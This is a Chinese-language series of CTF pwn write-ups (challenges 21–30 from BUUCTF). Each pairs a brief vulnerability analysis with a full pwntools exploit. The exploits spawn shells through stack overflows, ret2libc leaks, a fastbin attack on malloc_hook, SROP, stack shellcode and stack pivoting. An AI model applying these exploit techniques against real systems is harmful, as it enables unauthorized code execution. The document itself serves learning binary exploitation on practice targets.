21 ciscn_2019_ne_5

保護

這個地方的strcpy函式，一看就估摸著有問題，
他把src那塊的東西復制到了dest
但是你會發現
dest那里
0x48

但是你是可以往src那里輸入東西的，

一口氣能輸128個位元組，那這就造成了溢位，

那再說怎么利用

這個地方首先要注意他這里沒有/bin/sh，但是有sh

而且還非常隱蔽

所以呢咱們這邊推薦之后/bin/sh跟sh的搜索都用ROPgadget，

非常的nice

然后程式里面本來就有system函式，然后就一把梭，

exp

from pwn import *

context(log_level='debug')
proc_name = './2019'

p = process(proc_name)
# p = remote('node3.buuoj.cn', 29868)
elf = ELF(proc_name)
system_addr = elf.sym['system']
main_addr = elf.sym['main']
sh_str = 0x80482ea
p.sendlineafter('password:', 'administrator')
p.recv()
p.sendline('1')
p.recvuntil('info:')
payload = 'a' * (0x48 + 4) + p32(system_addr) + p32(main_addr) + p32(sh_str)
p.sendline(payload)
p.recv()
p.sendline('4')
p.interactive()

插一句，這個腳本也是我學來的，感覺寫的非常棒，

22 鐵人三項(第五賽區)_2018_rop

保護

堆疊溢位倒是很明顯，
但是這玩意是個啥剛開始我還真沒看出來，

度娘知道
C語言getegid()函式：獲得組識別碼

跟這個題也沒啥關系，就不管了

那么說這個題怎么解
它有個堆疊溢位，然后我們通過它下面的write函式，泄露libc的地址，然后計算libc基地址，獲得system函式地址，然后就又是一把梭，

然后要注意它還沒給libc，所以得用LibcSearcher

exp

from pwn import *
from LibcSearcher import*

context(log_level='debug')
proc_name = './2018_rop'

#p = process(proc_name)
r = remote('node3.buuoj.cn', 26479)
elf = ELF(proc_name)
main_addr = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']

payload = 'a' * 140 + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got) + p32(4)

r.sendline(payload)

write_addr = u32(r.recv())

print hex(write_addr)

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')

system_addr =libc_base + libc.dump('system')
bin_sh =libc_base + libc.dump('str_bin_sh')

payload = 'a' * 140 + p32(system_addr) + p32(bin_sh) + p32(bin_sh)

r.sendline(payload)

r.interactive()

23 babyheap_0ctf_2017

嚯，buu里面第一個全綠的，

這題剛進去我就看著不大對勁，這種選單題很堆啊

果然
baby heap

乍一眼看過去都會用到v4，所以就瞅瞅v4是個啥，

首先要搞清楚這個函式是干嘛的，

大概就是堆的初始化，

第一個函式分析，
calloc函式，
C 庫函式 void *calloc(size_t nitems, size_t size) 分配所需的記憶體空間，并回傳一個指向它的指標，malloc 和 calloc 之間的不同點是，malloc 不會設定記憶體為零，而 calloc 會設定分配的記憶體為零，

nitems – 要被分配的元素個數，
size – 元素的大小，

分配的大小不能超過 4096 位元組
*(24LL * i + a1)：置 1 表示 chunk 已經創建
*(a1 + 24LL * i + 8)：存盤 chunk 的大小
*(a1 + 24LL * i + 16)：存盤 chunk 的地址

先判斷對應位是否為 1 ，即 chunk 是否存在
如果存在把輸入的內容寫入 *(24LL * v2 + a1 + 16) 對應的地址中，
這里沒有對 v3 的大小做限制，存在堆溢位

free部分也沒有uaf，清除的還是挺干凈的，

先判斷對應位是否為 1 ，即 chunk 是否存在
如果存在，列印長度為 *(24LL * v2 + a1 + 8) 存盤位元組數內容指標 *(24LL * v2 + a1 + 16) 指向的內容

會發現這里居然還有個puts，但是沒啥用，傳給puts的引數那里是個\x00，

解題思路是個啥，因為里面有double free漏洞，先通過堆溢位改變堆塊大小，開一個chunk然后扔到unsortedbin里面，通過dump函式泄露地址，然后計算基質，得出one_gadget，再通過fastbin attack，修改malloc_hook為one_gadget 從而拿到權限，

exp

from pwn import*
#p = process("./2017")
p = remote('node3.buuoj.cn', 29514)
context.log_level = 'debug'
libc = ELF("libc-2.23.so")

def alloc(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.sendline(str(size))

def fill(idx,payload):
    p.recvuntil('Command: ')
    p.sendline('2') 
    p.sendline(str(idx))
    p.sendline(str(len(payload)))
    p.send(payload) 
    
def free(idx):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.sendline(str(idx))   
    
def dump(idx):
    p.recvuntil('Command: ') 
    p.sendline('4')
    p.sendline(str(idx))    
    p.recvuntil('Content: \n')

alloc(0x60)#0
alloc(0x40)#1
alloc(0x100)#2
fill(0,0x60*'a'+p64(0)+p64(0x71))
fill(2,0x10*'b'+p64(0)+p64(0x71))

free(1)
alloc(0x60)
fill(1,0x40*'c'+p64(0)+p64(0x111))
alloc(0x100)#3
free(2)
dump(1)
main_arena = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))

#先需要一個unsorted bin 泄露地址，就需要chunk2，申請再釋放，讓里面有了main_arena的地址，通過堆溢位，將0x50大小的chunk 1偽造成0x80，釋放了再申請回來，就能輸出chunk 2里面的地址了，

offset = hex(0x7f9888706b78-0x7f9888342000)

libc_base = main_arena - 0x3c4b78

malloc_chunk = libc.symbols["__malloc_hook"]+libc_base
fake_chunk = malloc_chunk-0x23

free(1)
fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(fake_chunk)+p64(0))
alloc(0x60)
alloc(0x60)
fill(2, "a"*3+p64(0)+p64(0)+p64(libc_base+0x4526a))
alloc(0x100)
p.interactive()

#第二部分就是fastbin_attack， 構造一個鏈，即addr1->addr2->addr1，中間夾著一個是繞過double free的檢查，fake chunk的偽造也是為了fastbin attack的檢查，

24 bjdctf_2020_babyrop

保護


有個堆疊溢位，然后里面有puts函式，這不就完了嘛

泄露libc地址，然后一把梭，

exp

from pwn import *
from LibcSearcher import*

context(log_level='debug')
proc_name = './2020'

r = remote('node3.buuoj.cn',25696)

elf = ELF(proc_name)

main_addr = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

pop_rdi = 0x400733

r.recvuntil('Pull up your sword and tell me u story!\n')

payload = 'a' * 40 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

r.sendline(payload)

puts_addr = u64(r.recv(6).ljust(8, '\x00'))

print hex(puts_addr)

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump("str_bin_sh")

payload = 'a' * 40 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)

r.sendline(payload)

r.interactive()

25 others_shellcode

保護

就是里面寫了個匯編代碼
asm里面的就是當匯編代碼執行

讀它的匯編代碼，

先看那個int 80h
這是32位的系統呼叫
系統呼叫號是eax
eax是11的時候呼叫的是execve函式
這個函式需要三個引數
這些引數存在ebx，ecx，edx里面
所以上面那個代碼就是在getshell
所以只要連上跑一下就可以了，

這里有個題就是用的這些知識

連上跑一下

26 pwn2_sctf_2016

保護

發現有個這玩意，

看似好像沒啥漏洞，沒啥問題，但是會發現無論是vuln函式還是get_n函式，里面只檢查了不大于多少，這就有了整數溢位漏洞，我們只要輸入一個負數，就會繞過他這些檢查，然后從理論上是去用那個int 80h去執行系統呼叫，但是沒有找到合適的gadget，程式里面有printf函式，所以還是泄露函式然后一把梭吧，

exp

from LibcSearcher import LibcSearcher
from pwn import *

io = remote("node3.buuoj.cn",28702)
elf = ELF("./2016")

printf_plt = elf.plt["printf"]
printf_got = elf.got["printf"]
fmtstr = 0x080486F8 
vuln_addr = 0x0804852F

payload1 = "A" * 0x30 + p32(printf_plt) + p32(vuln_addr) + p32(fmtstr) + p32(printf_got)
io.recvuntil("How many bytes do you want me to read? ")
io.sendline("-2")
io.recvuntil("bytes of data!\n")
io.sendline(payload1)

io.recvuntil("You said: ")
io.recvuntil("You said: ")
printf_addr = u32(io.recv(4))
print(printf_addr)


libc = LibcSearcher('printf', printf_addr)
libcbase = printf_addr - libc.dump('printf')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

payload2 = "A" * 0x30 + p32(system_addr) + p32(vuln_addr) + p32(binsh_addr)
io.recvuntil("How many bytes do you want me to read? ")
io.sendline("-2")
io.recvuntil("bytes of data!\n")
io.sendline(payload2)

io.interactive()

27 ciscn_2019_s_3

SROP

保護

又是個這，

還是看匯編靠譜，

所以就是read函式跟write函式而已，
緩沖區開了10h
read能夠輸入400h
就有溢位了嘛，

具體利用就得用到SROP
SROP一遍過

首先是我們需要在里面寫入‘/bin/sh’，通過read寫進去之后寫在了堆疊里面，但是我們并不知道堆疊得地址，所以需要通過write函式泄露，泄露的話write函式會輸出30h大小的資料，需要你在里面找到堆疊的地址，并且計算到/bin/sh的偏移量，
經過除錯之后其中0x20到0x28是一個堆疊上的地址，到/bin/sh距離是0x118，就獲得了/bin/sh的地址，

from pwn import *
from LibcSearcher import * 

r = remote('node3.buuoj.cn', 29487)
elf = ELF('./3')

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims, drop=True  :r.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

sigreturn = 0x4004DA # mov eax 0fh
system_call = 0x0400517
read_write = 0x4004F1
main_addr = elf.sym['main']

p1 = flat(['/bin/sh\x00', 'b'*8, read_write]) #good!
#你會發現這里為什么read的地址跟平常我們寫的在ebp之后不一樣，
#這是因為這個函式呼叫規則不是我們平常的_cedel，這個函式最后一句直接就是retn，而我們平常見到的是level | ret

sl(p1)
rc(32)
binsh_addr = u64(rc(8)) - 0x118
rc(8)

frame = SigreturnFrame()
frame.rax = constants.SYS_execve 
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = system_call
#pwntools功能就是強大

p2 = flat(['a'*0x10, sigreturn, system_call, frame])
sl(p2)

r.interactive()

模板學來的，非常好用，

28 [HarekazeCTF2019]baby_rop2

保護
這一上來就個堆疊溢位，然后有read函式泄露libc地址一把梭，

這是gadget，

read函式也能泄露
exp

from pwn import*
from LibcSearcher import*

r = remote('node3.buuoj.cn',28671)

elf=ELF('./1')

rdi_ret=0x400733
rsi_r15_ret=0x400731
format_str=0x400770 
read_got=elf.got['read']
printf_plt=elf.plt['printf']
main_addr=0x400636

payload='a'*0x20+'b'*0x8
payload+=p64(rdi_ret)+p64(format_str)
payload+=p64(rsi_r15_ret)+p64(read_got)+p64(0x0)
payload+=p64(printf_plt)+p64(main_addr)

r.recvuntil("What's your name?")
r.sendline(payload)

read_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc = LibcSearcher('read', read_addr)

libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
binsh_addr=libc_base+libc.dump('str_bin_sh')

payload2='a'*0x20+'b'*0x8+p64(rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(main_addr)
r.recvuntil("What's your name?")
r.sendline(payload2)

r.interactive()

29 ez_pz_hackover_2016

保護
你會發現它沒有開NX，所以直接把shellcode可以寫在堆疊上，

程式一點點，有個比較陌生的函式，
memchr
C 庫函式 void *memchr(const void *str, int c, size_t n) 在引數 str 所指向的字串的前 n 個位元組中搜索第一次出現字符 c（一個無符號字符）的位置，

我們考慮寫入shellcode，那么需要泄露堆疊的地址，但是程式直接給出來了，

有個檢測，你可以用’\x00’把它繞過,因為上面會把’\n’變成’\x00’，所以直接用’\n’繞過就好，

繞過之后會有個溢位，然后溢位到shellcode上就好了，

exp

from pwn import *

context(os = "linux", arch = "i386")

#r = remote('node3.buuoj.cn',25228)
r = process('./2')

r.recvuntil('crash: 0x')
address = r.recv(8)
gdb.attach(r)
hack_addr = int(address, 16) - 28

payload = "crashme\x00" + '\x00' * 18 + p32(hack_addr) + asm(shellcraft.sh())

r.sendafter('> ', payload)

r.interactive()

你會發現里面第二個payload后面的padding是不是數量不對，明明IDA里面顯示的緩沖區大小是0x32

在動態除錯的時候發現

src并不是我們看到的就像IDA里面的s的地址，那問題出在那里？

他這個函式src那里是個二級指標，傳入的是寫著字串的指標的地址，破案了，

30 ciscn_2019_es_2

保護

這里有system
但是里面的命令echo flag 只不過是輸出flag這個字串而已

開了個0x28大小的緩沖區，但是read讀入的大小是0x30，除了覆寫ebp之外只能覆寫回傳地址了，

所以直接想到應該堆疊遷移，

堆疊遷移

堆疊遷移一定需要兩個leave|ret，以往我們見到的都是通過ROP自己寫，但是這個題不一樣，用的都是函式的leave|ret，非常的巧妙，

在泄露堆疊ebp地址的情況下
先通過第一個leave|ret把堆疊遷移到vuln的堆疊幀里面，然后自己寫了‘/bin/sh’，自己把/bin/sh的地址再放到堆疊幀里面，然后通過第二個leave|ret進行利用，

exp

from pwn import *

r=process('./3')
#r = remote('node3.buuoj.cn',27896)
system_addr = 0x8048400 
gdb.attach(r)
payload = 'a' * 0x20 + 'bbbbbbbb'
r.send(payload)
r.recvuntil('b' * 8)
ebp_addr= u32(r.recv(4))
payload = ('a' * 8 + p32(ebp_addr - 0x24) + 'bbbb' + p32(system_addr) + 'cccc' + p32(ebp_addr - 0x1c) + '/bin/sh\x00').ljust(0x28,'p')+p32(ebp_addr-0x2c)
r.send(payload)

r.interactive()